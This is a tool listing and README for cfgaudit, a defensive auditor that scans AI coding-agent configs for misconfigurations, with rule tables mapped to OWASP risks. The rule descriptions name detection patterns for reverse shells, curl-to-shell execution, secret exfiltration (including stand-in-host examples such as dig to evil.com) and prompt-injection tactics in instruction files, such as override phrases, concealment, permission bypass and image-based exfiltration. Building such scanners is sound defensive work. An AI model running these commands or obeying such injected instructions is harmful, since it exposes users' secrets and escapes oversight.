cfgaudit

agent
Security Audit
Warn
Health Warn
  • License — License: Apache-2.0
  • Description — Repository has a description
  • Active repo — Last push 0 days ago
  • Low visibility — Only 5 GitHub stars
Code Pass
  • Code scan — Scanned 12 files during light audit, no dangerous patterns found
Permissions Pass
  • Permissions — No dangerous permissions requested

No AI report is available for this listing yet.

SUMMARY

AI agent configuration security auditor - find misconfigurations in Claude Code, Cursor, and other AI tools

README.md

cfgaudit

cfgaudit

Security auditor for AI-agent configuration files.

cfgaudit scans the configuration of AI coding assistants — starting with Claude Code — and flags settings that violate the principle of least privilege or leave sensitive files exposed to the agent's context.

Every finding maps to an OWASP Top 10 for LLM Applications 2025 risk (the primary mapping). Two secondary lenses are also provided: the OWASP MCP Top 10 for the MCP-server rules, and the OWASP AISVS 1.0 mapping for teams who verify against the AI Security Verification Standard.


Install

Homebrew (macOS / Linux):

brew install cfgaudit/tap/cfgaudit

With the Go toolchain:

go install github.com/cfgaudit/cfgaudit/cmd/cfgaudit@latest

Or download a pre-built binary (Linux / macOS / Windows, amd64 / arm64) from the releases page.


Usage

# Audit the current directory
cfgaudit

# Audit a specific project root
cfgaudit /path/to/project

# Output format defaults to "auto": a table on an interactive terminal, plain
# text when piped or redirected. Force either with --format table / --format text.
cfgaudit --format table

# Output as JSON (for CI integration)
cfgaudit --format json

# Output as SARIF 2.1.0 (for GitHub Code Scanning)
cfgaudit --format sarif > cfgaudit.sarif

# Output as Code Climate JSON (for GitLab Code Quality / merge-request findings)
cfgaudit --format codeclimate > gl-code-quality.json

# Override the Claude Code version used for rule gating (otherwise detected via `claude --version`)
cfgaudit --claude-version 2.1.148

# Print cfgaudit version and exit
cfgaudit --version

# Run only specific rules (CSV or repeated; --only and --skip can be combined)
cfgaudit --only CFG001,CFG003
cfgaudit --only CFG001 --only CFG003
cfgaudit --skip CFG006,CFG009

# Use an explicit config file (otherwise .cfgaudit.yml is auto-discovered)
cfgaudit --config path/to/.cfgaudit.yml

# Also scan a Claude Code plugin/skill package
cfgaudit --plugins ./my-plugin

# Zero-tolerance CI: make warn findings fail the build too
cfgaudit --strict

# Deeper shell analysis of hook commands (CFG045, needs the shellcheck binary)
cfgaudit --shellcheck

# Explain a rule in the terminal (renders its docs)
cfgaudit explain CFG001

# List all rules (filter by OWASP — LLM or MCP — or output JSON)
cfgaudit list
cfgaudit list --owasp LLM06
cfgaudit list --owasp MCP05
cfgaudit list --format json

# Scaffold a hardened .claude/settings.json for a new project
cfgaudit init                       # write a safe-default deny list
cfgaudit init --dry-run             # print the JSON without writing
cfgaudit init --interactive         # add project-specific deny entries

# Sync deny rules between settings.json and .cfgaudit.yml policy
cfgaudit policy generate            # settings.json permissions.deny -> .cfgaudit.yml require-deny
cfgaudit policy apply --dry-run     # preview: .cfgaudit.yml require-deny -> settings.json permissions.deny
cfgaudit policy apply               # write the missing deny entries

init subcommand — scaffolds .claude/settings.json with a hardened baseline permissions.deny (credential/key/cloud/SSH read-denies plus destructive/network/privilege command classes) so a fresh project starts safe-by-default and passes the policy rules (CFG006/CFG041–CFG044) immediately. Aborts if the file exists (use --force, or cfgaudit policy apply to merge); --dry-run prints the JSON; --interactive adds project-specific entries.

policy subcommand — keeps permissions.deny (enforced by Claude Code) and policy.require-deny (audited by cfgaudit / CFG025) in sync. generate freezes the current runtime deny list as an auditable policy, preserving the rest of your .cfgaudit.yml (comments included). apply rolls a policy out to a project's settings; both merge additively (nothing is removed) and are idempotent. apply rewrites settings.json as 2-space-indented JSON with alphabetically-ordered top-level keys — run --dry-run first to preview.

Scope-aware findings

Each finding carries a Scope (project, project-local, or user) reflecting which file it came from. Rules whose blast radius is amplified when the misconfiguration lives in user-global settings append an explanatory note to the message, and CFG009 (hook command interpolates a shell variable) escalates from warn to error at user scope — a malicious hook in ~/.claude/settings.json fires on every project the user opens.

Version gating

Some rules require a minimum Claude Code release before they make sense. cfgaudit runs claude --version once per invocation, compares the result to each rule's MinVersion, and replaces below-threshold rules with a single info-severity skip notice. The detected version is logged to stderr at the start of each scan; the --claude-version flag overrides detection (useful in CI containers where the binary is not installed). When neither detection nor the flag yields a version, every rule runs unconditionally.

Exit codes

Code Meaning
0 No findings, or only warn/info (without --strict)
1 At least one error-severity finding (or any warn under --strict / strict: true)
2 Tool error (file not found, parse error)

Suppressing a finding

Add a comment on the same line or the line above in the relevant config file:

// cfgaudit:ignore CFG001 -- intentional for local dev sandbox

Configuration file (.cfgaudit.yml)

cfgaudit auto-discovers a .cfgaudit.yml (or .cfgaudit.yaml) in the scanned directory; --config <path> overrides discovery. CLI flags take precedence over the file.

# Per-rule overrides
rules:
  CFG003: off           # disable a rule (flat form)
  CFG004:
    severity: warn      # override a rule's severity (also accepts the flat form CFG004: warn)

# Drop findings below this severity ("error", "warn", "info")
min-severity: warn

# Treat warn findings as errors for the exit code
strict: false

# Always exit 0 on a successful run (advisory mode for non-blocking CI)
no-exit-codes: false

# Run shellcheck on hook/helper commands (CFG045; needs the shellcheck binary)
shellcheck: false

# Path globs (relative to the scanned dir) whose findings are excluded.
# Supports *, ** and a trailing / for directory prefixes.
exclude-paths:
  - vendor/
  - "**/.claude/settings.local.json"

# Org policy (CFG025): commands that must be denied / must not be allowed.
# Matching is containment-aware (Bash(git:*) covers Bash(git commit:*)).
policy:
  require-deny:
    - "Bash(git commit:*)"   # must be covered by permissions.deny
  forbid-allow:
    - "Bash(git commit:*)"   # must not be grantable by permissions.allow

GitHub Action

Run cfgaudit in a workflow without installing anything — the action wraps the published container image:

- uses: cfgaudit/cfgaudit@v1
  with:
    path: .

Upload findings to GitHub Code Scanning via SARIF (add permissions: security-events: write to the job):

- uses: cfgaudit/cfgaudit@v1
  with:
    format: sarif
    output: cfgaudit.sarif
    fail-on: never          # advisory: let Code Scanning surface findings, don't fail the step
- uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: cfgaudit.sarif

Inputs: path (default .), format (text/json/sarif), strict, user, config, plugins, output, fail-on (error/never), image.
Outputs: exit-code, output-file. By default the step fails on findings at or above the configured threshold; set fail-on: never for advisory mode.


GitLab CI/CD component

For GitLab pipelines, include the component (published to the CI/CD Catalog):

include:
  - component: gitlab.com/cfgaudit/cfgaudit/[email protected]
    inputs:
      path: .
      format: text

Inputs: stage, path, format, version (pinned ghcr.io image tag), allow_failure. The job fails the pipeline on error-severity findings unless allow_failure: true.

To surface findings inline in merge requests via the Code Quality widget, use the second component (emits a GitLab Code Quality report):

include:
  - component: gitlab.com/cfgaudit/cfgaudit/[email protected]
    inputs:
      path: .

Pin the component to a released tag, not a moving ref — consistent with cfgaudit's own supply-chain guidance (CFG010/CFG013).


Claude Code plugin

The repo doubles as a Claude Code plugin marketplace. Install it to get an on-demand scan command plus automatic scans when config files change:

/plugin marketplace add cfgaudit/cfgaudit
/plugin install cfgaudit@cfgaudit

The plugin adds:

  • /cfgaudit:scan — scan the current project on demand.
  • /cfgaudit:explain <RULE> — explain a rule (what it checks, why, how to fix); with no argument it lists the rules.
  • /cfgaudit:init — scaffold a project-aware .claude/settings.json: Claude inspects the project's tooling and tailors the deny list on top of the baseline, then verifies 0 findings.
  • A Stop hook (scan when a session ends) and a PostToolUse hook (scan after edits to settings.json / CLAUDE.md / .mcp.json / .claude/ files).

Hooks call a cfgaudit binary on your PATH (install via Homebrew or go install above); if none is found the bundled wrapper downloads the matching prebuilt release binary for your OS/arch (checksum-verified and cached) — no Go toolchain required. Team rollout via .claude/settings.json:

{
  "extraKnownMarketplaces": {
    "cfgaudit": { "source": { "source": "github", "repo": "cfgaudit/cfgaudit" } }
  }
}

What cfgaudit checks

Rules are grouped by the part of the configuration they target.

settings.json — permissions, env, hooks & files

General Claude Code settings: the permission model, environment block, lifecycle hooks, command-running helpers, schema, and local-file hygiene.

ID Severity Description OWASP
CFG001 error permissions.allow grants unrestricted shell — Bash(*)/Bash(**), bare Bash, or PowerShell/PowerShell(*) LLM06
CFG002 warn permissions.allow grants unrestricted file-write — Edit(*)/Write(*) or bare Edit/Write LLM06
CFG040 warn permissions.allow contains unrestricted WebFetch (bare / domain:*) — fetch-any-URL exfiltration channel LLM06
CFG023 error/warn permissions.allow grants a dangerous command with wildcard args (curl/sudo/npx/shells → error; find/sed/git/interpreters/ssh → warn) LLM06
CFG025 error custom org policy from .cfgaudit.yml violated (require-deny / forbid-allow) — inert unless a policy: is configured LLM06
CFG004 error/warn defaultMode set to bypassPermissions or auto LLM06
CFG005 error ANTHROPIC_BASE_URL points to a non-Anthropic endpoint (CVE-2026-21852) LLM02
CFG046 warn/error OTEL_EXPORTER_OTLP_*ENDPOINT redirects telemetry to a non-local collector (error for a raw IP) LLM02
CFG006 warn permissions.deny is absent or empty — no guardrails block destructive operations LLM06
CFG041 error permissions.deny exists but does not restrict .env files — Claude can read credentials LLM02
CFG042 error permissions.deny does not restrict private-key / certificate files (*.pem/*.key/*.p12/*.pfx/*.jks) LLM02
CFG043 error permissions.deny does not restrict cloud credential files (AWS .aws, GCP gcloud, Azure .azure) LLM02
CFG044 error permissions.deny does not restrict SSH private keys (.ssh/, id_rsa/id_ed25519/…) LLM02
CFG007 error env block contains a hardcoded secret (vendor key prefix or *_TOKEN/*_SECRET/...) LLM02
CFG073 error env/MCP env/headers value is a hardcoded cryptocurrency signing credential — Ethereum private key (0x+64 hex) or BIP-39 seed phrase — which cannot be rotated; CFG054's entropy heuristic misses both LLM02
CFG008 error command matches a reverse-shell pattern (/dev/tcp/, nc -e, bash -i …, mkfifo, socat exec) — scans hooks, credential/runtime helpers, and MCP headersHelper LLM06
CFG009 warn/error command interpolates a shell variable ($VAR / ${VAR}) — attacker-influenced data may reach a shell; escalates to error at user scope LLM01
CFG012 warn settings.json contains an unknown top-level key or a value whose type contradicts the bundled SchemaStore schema LLM02
CFG013 warn .claude/settings.local.json or CLAUDE.local.md exists in the repo but is not excluded by .gitignore LLM02
CFG014 error command pipes curl/wget output directly into a shell or interpreter (remote code execution) LLM03
CFG015 warn/error command contains $(…) or backtick substitution (error if the substitution itself reaches the network) LLM01
CFG016 error/info credential helper (apiKeyHelper, awsCredentialExport, awsAuthRefresh, gcpAuthRefresh) defined in project-scoped settings (CVE-2025-59536) LLM02
CFG022 error/warn sandbox config weakens or hijacks the execution sandbox (excludedCommands wildcard/shell, bwrapPath/socatPath, user-scope allowAppleEvents) (CVE-2026-39861) LLM06
CFG027 error command installs a persistence mechanism (cron, shell startup files, systemctl enable, launchd) — scans hooks and helpers LLM06
CFG028 error command writes to a Claude trust/config file (CLAUDE.md, settings.json, .mcp.json, .claude/) — self-perpetuating injection / persistence LLM06
CFG037 error command reads or copies SSH private keys (~/.ssh/id_rsa, id_ed25519, …) — scans hooks and helpers LLM02
CFG038 error command dumps environment variables to the network (env/printenvcurl/nc) — exfiltrates all secrets LLM02
CFG072 error command encodes a $(…)/backtick substitution into a DNS query name or URL host (dig "$(cat secret).evil.com", curl http://$(env).evil.com) — exfiltrates data over UDP/53, the channel CFG038 misses LLM02
CFG039 warn/error command runs a recursive force-delete (rm -rf) — error when the target is broad (~, /, .., $HOME, *) LLM06
CFG045 error/warn/info ShellCheck analysis of hook/helper commands (opt-in --shellcheck; SC codes in the message) LLM06
CFG067 warn hooks defined in a project-scoped .claude/settings.json — committed hooks run on every developer who opens the repo (CVE-2025-59536); content checks (CFG008/014/…) fire separately LLM03

MCP servers — settings.json mcpServers & .mcp.json

Rules about MCP servers. MCP is a shared standard, so the per-server checks (CFG010–CFG021) are cross-agent: they run against the inline mcpServers block in settings.json, the project's root .mcp.json (the file that enableAllProjectMcpServers / enabledMcpjsonServers auto-approve), and other agents' MCP configs when present — .cursor/mcp.json (+ ~/.cursor/mcp.json with --user), .vscode/mcp.json (VS Code's top-level servers key is handled), cline_mcp_settings.json, Windsurf's ~/.codeium/windsurf/mcp_config.json, the mcpServers block of Gemini CLI's .gemini/settings.json (+ ~/.gemini/settings.json with --user), the [mcp_servers] tables of OpenAI Codex CLI's ~/.codex/config.toml (with --user), and the mcpServers list of Continue's .continue/config.yaml (+ ~/.continue/config.yaml with --user). Each finding is attributed to the file the server was declared in. A malformed config is reported as a tool error rather than silently skipped. CFG003 governs the blanket auto-approval flag and is Claude Code–specific (settings.json only).

ID Severity Description OWASP
CFG003 error enableAllProjectMcpServers: true — auto-approves all repo MCP servers (CVE-2025-59536) LLM06
CFG053 error/warn blanket MCP-trust settings — allowAllClaudeAiMcps: true, enabledMcpjsonServers with */huge list, or a wildcard allowedMcpServers serverUrl LLM06
CFG055 error/warn committed settings enabledPlugins auto-enables a plugin (loads its hooks/MCP) or extraKnownMarketplaces registers a third-party marketplace LLM03
CFG010 warn MCP server uses unpinned package or image version (@latest, :latest, no @version; npx/pnpm/yarn/bunx + uvx/pipx == pins) LLM03
CFG011 warn MCP server alwaysAllow is too broad (wildcard, state-mutating tools, or 10+ entries) LLM06
CFG017 error MCP server sets dangerouslyAllowBrowser: true — browser-originated requests enable DNS-rebinding to RCE (CVE-2025-49596) LLM06
CFG018 warn MCP server binds to all interfaces (0.0.0.0 / [::]) — reachable by anyone on the LAN ("NeighborJack") LLM06
CFG019 error MCP server command runs an inline script — a shell interpreter (bash/pwsh/…) or a language interpreter with an eval flag (node -e, python -c, deno eval, …) — a hallmark of a poisoned config (CVE-2026-21518) LLM06
CFG020 error MCP server env injects code at startup — dynamic linker (LD_PRELOAD/DYLD_*) or interpreter startup vectors BASH_ENV/PYTHONSTARTUP/NODE_OPTIONS/RUBYOPT/PERL5OPT (CVE-2026-44995) LLM06
CFG021 warn MCP server env routes traffic through a non-local proxy (HTTP_PROXY/HTTPS_PROXY/ALL_PROXY) — MITM and header-secret capture LLM02
CFG049 error/warn remote MCP server url points to a non-loopback host (cleartext http:///ws:// or raw IP → error; TLS hostname → warn) — exfiltration / MITM channel LLM02
CFG050 error MCP server env or headers contains a hardcoded secret (vendor key pattern, secret-like name, or auth header with a literal credential) LLM02
CFG054 warn high-entropy value in env/headers that looks like a hardcoded secret under an innocuous key name (entropy fallback to CFG007/CFG050) LLM02
CFG052 warn MCP server name declared in multiple sources (settings.json mcpServers + .mcp.json) — ambiguous precedence / shadowing LLM03
CFG066 warn/error MCP server env sets a wildcard CORS origin (*) — any web page can call it; error when authentication is also disabled (CVE-2026-33010) LLM06
CFG068 error MCP server forwards a templated credential ({{TOKEN}}/${SECRET} in an auth header/env) to a cleartext or raw-IP endpoint — runtime expands it to a real secret sent there (CVE-2026-31951) LLM02
CFG069 warn MCP server env enables HTTP transport without log redaction / a quiet log level — request bodies (Bearer tokens, API keys) get logged (CVE-2026-42282/41495) LLM02
CFG075 error MCP server env/args disables TLS certificate verification (NODE_TLS_REJECT_UNAUTHORIZED=0, GIT_SSL_NO_VERIFY, --insecure, sslmode=disable, …) — turns an https:// endpoint into a MITM-able channel LLM02
CFG076 error/warn MCP server args expose a broad filesystem root (/, ~, $HOME, drive root → error; .. parent traversal → warn) — a filesystem server scoped to the whole machine/home instead of one directory LLM06
CFG070 warn MCP server command is a repo-relative path (./x, scripts/x) — a committed in-repo executable that auto-runs on clone (CVE-2025-54135) LLM03
CFG058 warn MCP server uses the deprecated type: "sse" transport — superseded by Streamable HTTP (type: "http"); weaker transport with DNS-rebinding/Origin pitfalls LLM02
CFG059 error/warn MCP server / hook package or endpoint host is a typosquat of a known-good identifier — covers mcpServers launchers and npx/bunx/pnpm dlx/yarn dlx packages run from any command site (homoglyph / one-char → error; two-char / unofficial scope → warn) LLM03

OWASP MCP Top 10 mapping (secondary)

The MCP-server rules above carry a secondary mapping to the OWASP Top 10 for Model Context Protocol, in addition to their primary LLM Top 10 risk. It is a complementary lens for readers who think in the MCP taxonomy; the LLM mapping stays primary.

Provisional. Mapped against OWASP MCP Top 10 v0.1 (Beta, Phase 3) — IDs and titles may still change before final release. Filter from the CLI with cfgaudit list --owasp MCP05.

OWASP MCP (v0.1) Rules
MCP01 – Token Mismanagement & Secret Exposure CFG021, CFG049, CFG050, CFG054, CFG058, CFG068, CFG069, CFG075
MCP02 – Privilege Escalation via Scope Creep CFG003, CFG011, CFG053, CFG076
MCP04 – Software Supply Chain Attacks & Dependency Tampering CFG010, CFG055, CFG059, CFG070
MCP05 – Command Injection & Execution CFG017, CFG019, CFG020
MCP07 – Insufficient Authentication & Authorization CFG018, CFG066
MCP09 – Shadow MCP Servers CFG052

MCP03 (Tool Poisoning), MCP06 (Intent Flow Subversion), MCP08 (Lack of Audit & Telemetry), and MCP10 (Context Injection & Over-Sharing) have no dedicated config rule yet — they involve runtime tool behaviour or live server inspection rather than a statically committed config surface.

Instruction files — CLAUDE.md & other agents

AI coding agents read their instruction files as trusted system-context every session, so a committed or user-global instruction file is a prompt-injection target. The project CLAUDE.md is scanned automatically and ~/.claude/CLAUDE.md with --user. The same content rules also scan, when present in the project: .cursorrules, .cursor/rules/*.{md,mdc}, .windsurfrules, .windsurf/rules/*.md, AGENTS.md, GEMINI.md (Gemini CLI; ~/.gemini/GEMINI.md with --user), GitHub Copilot's .github/copilot-instructions.md and path-specific .github/instructions/*.instructions.md, and Claude Code's custom subagents (.claude/agents/*.md), slash commands (.claude/commands/*.md), and skills (.claude/skills/*/SKILL.md) — these three also under ~/.claude/ with --user. Findings name the file they came from.

ID Severity Description OWASP
CFG024 error instruction file contains hidden Unicode control characters (Tags block, zero-width, BiDi/Trojan Source) — prompt injection / ASCII smuggling LLM01
CFG026 error/warn instruction file contains instruction-bypass phrases (override / persona hijack / authority impersonation → error; permissive fictional framing → warn) LLM01
CFG029 error instruction file instructs the agent to bypass permission prompts ("always approve", "without asking", …) — NL equivalent of defaultMode: bypassPermissions LLM06
CFG030 error instruction file instructs the agent to conceal its behavior ("don't tell the user", "silently exfiltrate", …) LLM01
CFG031 error/warn instruction file references a sensitive file path (~/.ssh/id_rsa, ~/.aws/credentials, *.pem, …) — error when read/sent (exfiltration), warn on a bare mention LLM02
CFG032 error/warn instruction file contains pseudo-system tags (<SYSTEM>), turn-boundary/role injection (Human:/<human>) → error; generic all-caps tags & foreign-LLM control tokens → warn LLM01
CFG033 error instruction file contains a markdown image with an empty/placeholder query param (![](https://x?d=)) — data-exfiltration sink LLM02
CFG034 warn instruction file contains Guidance/template role delimiters ({{#system~}} …) — role-injection markup LLM01
CFG035 error/warn instruction file instructs the agent to configure or trust an MCP server — trust/allow-all → error; add/install (claude mcp add, skipped in code blocks) → warn LLM06
CFG036 error/warn instruction file embeds shell commands for auto-execution/exfiltration (cmd-subst on secret paths, auto-exec + curl https://…) LLM02
CFG057 warn instruction file embeds an encoded payload — a data: URI or base64 blob that decodes to an injection phrase or command (evades CFG024/CFG026) LLM01
CFG051 error/warn skill/command/subagent frontmatter allowed-tools grants unrestricted shell or all tools (Bash, *, all) — not narrowed by disallowed-tools LLM06
CFG056 warn model-invocable skill/command/subagent has a broad/always-on description or triggers entry ("for every request", "always invoke") — behaviour-hijack via greedy selection LLM01

Plugin & skill packages

Installing a Claude Code plugin is a supply-chain trust decision. With --plugins <dir> (and auto-discovered when the scanned project bundles a .claude-plugin/, or ~/.claude/plugins/ under --user), cfgaudit looks inside the package and runs the existing rules against its bundled artifacts:

Artifact Rules applied
SKILL.md CLAUDE.md content rules — CFG024 (hidden Unicode), CFG026 (instruction-bypass)
hooks/hooks.json command-content rules — CFG008, CFG009, CFG014, CFG015, CFG027, CFG028; instruction-content rules over type: "prompt" / type: "agent" hook prompts — CFG024, CFG026, CFG029–CFG036, CFG057
plugin.json mcpServers MCP rules — CFG010, CFG011, CFG017–CFG021

Findings are attributed to the in-package file. Bundled binaries / arbitrary scripts are not content-scanned (that is general SAST, outside cfgaudit's config-audit scope).

Agent-skills lockfile — skills-lock.json

The vercel-labs/skills CLI (skills.sh) records the external sources it pulls agent skills (instruction content) from in a skills-lock.json at the repo root. cfgaudit scans the committable project-root file; the user-global ~/.agents/.skill-lock.json is out of scope (not committable).

Rule Severity What it flags OWASP
CFG074 warn a skills-lock.json entry pulls skill content from a remote source with no integrity pin — no content hash (computedHash/integrity), resolved commit, or full-SHA ref — so an upstream owner can change the installed skill text under every contributor (pinned entries and local sources are not flagged) LLM03

VS Code workspace — .vscode/

.vscode/ files are committed into repositories and read by VS Code and its forks (Cursor, Windsurf), so a committed workspace config is a repo-controlled auto-run / supply-chain surface. cfgaudit scans these automatically when present and attributes findings to the source file.

ID Severity Description OWASP
CFG047 error .vscode/tasks.json task runs on folder open (runOptions.runOn: "folderOpen") — zero-click code execution when the repo is opened; silent (presentation.reveal: "never") is called out LLM06
CFG048 error .vscode/settings.json blanket-auto-approves agent tools (chat.tools.global.autoApprove / chat.tools.autoApprove: true) — removes the confirmation prompt, cross-agent analogue of bypassPermissions LLM06

Gemini CLI — .gemini/settings.json & GEMINI.md

Gemini CLI stores its config in settings.json with a security surface that mirrors Claude Code's. cfgaudit discovers .gemini/settings.json (project) and ~/.gemini/settings.json (with --user), and GEMINI.md (project) / ~/.gemini/GEMINI.md — the latter scanned by the same content rules as CLAUDE.md (CFG024–CFG036, CFG057). A Gemini mcpServers block rides the shared MCP rules (CFG010–CFG021, CFG049–CFG059), attributed to the settings file. Three rules cover the Gemini-specific settings:

ID Severity Description OWASP
CFG060 error Gemini general.defaultApprovalMode is auto_edit (or yolo) — auto-approves tool actions, the Gemini equivalent of defaultMode: bypassPermissions LLM06
CFG061 error/warn Gemini sandbox weakened — tools.sandboxAllowedPaths exposes / or ~ (error), or tools.sandboxNetworkAccess: true gives sandboxed tools network egress (warn) LLM06
CFG062 warn Gemini security.blockGitExtensions: false with no security.allowedExtensions allow-list — installs extensions from arbitrary Git repos (supply chain) LLM03

OpenAI Codex CLI — ~/.codex/config.toml & AGENTS.md

OpenAI Codex CLI keeps its config in ~/.codex/config.toml (TOML) and uses AGENTS.md as its project instruction file. AGENTS.md is already scanned by the shared instruction-content rules (CFG024–CFG036, CFG057). With --user, cfgaudit also parses ~/.codex/config.toml: its [mcp_servers] ride the shared MCP rules (CFG010–CFG021, CFG049–CFG059), its notify program (run by Codex on events) is scanned by the command-content rules (CFG008/014/015/027/028/037/038/039), and two rules cover the Codex-specific settings:

ID Severity Description OWASP
CFG063 error/warn Codex approval_policy is never (auto-approve all → error) or on-failure (deprecated, all auto-approved → warn) — the bypassPermissions analog LLM06
CFG064 error Codex sandbox_mode is danger-full-access — sandbox disabled, tools get full filesystem and network access LLM06

Continue — .continue/config.yaml

Continue configures MCP servers and model providers in config.yaml. cfgaudit discovers .continue/config.yaml (project) and ~/.continue/config.yaml (--user). Its mcpServers list rides the shared MCP rules (CFG010–CFG021, CFG049–CFG059) — a remote type: "sse" server trips CFG058, a non-loopback url trips CFG049, and so on; its rules and prompts (trusted instruction context) are scanned by the instruction-content rules (CFG024–CFG036, CFG057). Continue-specific rules:

ID Severity Description OWASP
CFG065 error Continue config has a hardcoded inline apiKey literal on a models[] or remote mcpServers[] entry — a committed credential (${{ secrets.* }} references and placeholders are not flagged) LLM02
CFG071 error model/provider base URL over cleartext http:// to a remote host — Continue models[].apiBase or Codex chatgpt_base_url/[model_providers].base_url; the API key is sent in plaintext (multi-provider analogue of CFG005) LLM02

OWASP mapping

cfgaudit is a static auditor of AI-agent configuration files (Claude Code first-class, with portable rules extended to other agents). It maps each finding to an OWASP Top 10 for LLM Applications 2025 risk — but by design it only sees what is declared in config, not model behaviour, runtime traffic, or training data. That scope determines which risks it can and cannot address.

Covered

ID Risk Example rules
LLM01 Prompt Injection CFG009, CFG015, CFG024, CFG026, CFG030, CFG032, CFG034, CFG056, CFG057
LLM02 Sensitive Information Disclosure CFG005, CFG007, CFG012, CFG013, CFG016, CFG021, CFG031, CFG033, CFG036, CFG037, CFG038, CFG041, CFG042, CFG043, CFG044, CFG046, CFG049, CFG050, CFG054, CFG072, CFG073, CFG075
LLM03 Supply Chain Vulnerabilities CFG010, CFG014, CFG052, CFG055, CFG074
LLM06 Excessive Agency CFG001–CFG004, CFG006, CFG008, CFG011, CFG017–CFG020, CFG022, CFG023, CFG025, CFG027, CFG028, CFG029, CFG035, CFG039, CFG040, CFG045, CFG047, CFG048, CFG051, CFG053, CFG076

Not covered

ID Risk Why it is out of scope
LLM04 Data and Model Poisoning Concerns training data and model weights. cfgaudit audits config files, not models or training pipelines.
LLM05 Improper Output Handling A runtime property of how downstream systems consume model output — not visible in static configuration.
LLM07 System Prompt Leakage A runtime property of what the model reveals at inference time, not something declared in config. Where config can contribute — secrets embedded in CLAUDE.md or settings.json — that exposure is already covered under LLM02 (e.g. CFG013, CFG031).
LLM08 Vector and Embedding Weaknesses Specific to RAG / embedding stores, which Claude Code configuration does not describe.
LLM09 Misinformation A model-output-quality concern, not a configuration setting.
LLM10 Unbounded Consumption Runtime resource / cost / DoS behaviour, not expressed in the config cfgaudit reads.

Test fixtures

Real-world settings.json examples live under testdata/settings/:

  • valid/ — configurations that must produce zero cfgaudit findings (minimal, fully-populated, team, managed-org).
  • invalid/ — one fixture per rule, named CFG###_<slug>.json. Each must trigger the rule encoded in its prefix.

rules/fixtures_test.go enforces both invariants on every Go test run, so fixtures and rule implementations stay in lockstep.

A separate workflow (.github/workflows/schema-validation.yml) validates every file in valid/ against the SchemaStore Claude Code settings schema on push, on pull request, and nightly. If the upstream schema changes, the nightly run opens (or comments on) a tracking issue so the fixtures and rules can be brought back in sync before silent breakage.


Contributing

See CONTRIBUTING.md for dev setup, the test loop, and the step-by-step recipe for adding a new rule.


License

Apache 2.0 — see LICENSE.

Reviews (0)

No results found